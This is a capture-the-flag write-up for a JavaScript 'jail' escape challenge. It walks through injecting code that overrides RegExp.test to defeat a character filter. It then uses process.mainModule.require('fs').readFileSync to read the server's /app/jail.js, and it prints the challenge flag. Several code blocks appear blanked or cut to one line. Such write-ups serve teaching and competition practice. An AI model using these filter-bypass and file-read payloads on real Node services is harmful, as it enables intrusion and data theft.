Jail - Pwn (200 + 0)
Joey gave you the disk with the file on it and now you’re in jail. They’re charging you with some serious shit, man! Better figure out a way to escape.
Solves: 43
Service: jail.alieni.se:55542
Author: avlidienbrunn
A jail escape challenge this time with javascript we need, we can start by sending this
so we can view the source code of the current function running:
1 | _____________________________ |
And we get this source code:
1 | function call(number) { |
We can see after we send our number
the program will end, at the begin of the function we can see the hangup function is being set into process.exit
. We have an interesting feature too if we try to call 911 we will jump into ask
function:
1 | _____________________________ |
1 | function ask(){ |
As we can see the function ask is restarting the program this will come handy later, we have some restriction too RegexExp class is blocking ‘.’, ‘[‘, ‘]’ and ‘\‘ characters:
1 | if(new RegExp(/[\[\]\.\\]/).test(number)){ |
So how do can we bypass this? my plan was:
1 | 1 - Override RegexExp class to always return true. |
Override RegexExp
To override the RegexExp class we can just do this:
1 | hangup = function a() { RegExp = class Dog extends RegExp { test() {return false;}}; call(911);} |
1 | _____________________________ |
Getting the filename
At this point we can inject any characters we want because the test function will always return false! so lets get the filename:
1 | _____________________________ |
We have the full path! the javascript file is located in /app/jail.js
Read the javascript file
Finally by injecting this after the override process.mainModule.require(‘fs’).readFileSync(‘/app/jail.js’).toString()
1 | _____________________________ |
Finally our flag is SECT{1ts_1n_th4T_pl4Ce_Wh3re_1_Pu7_tH4t_Th1ng_th4T_t1m3,}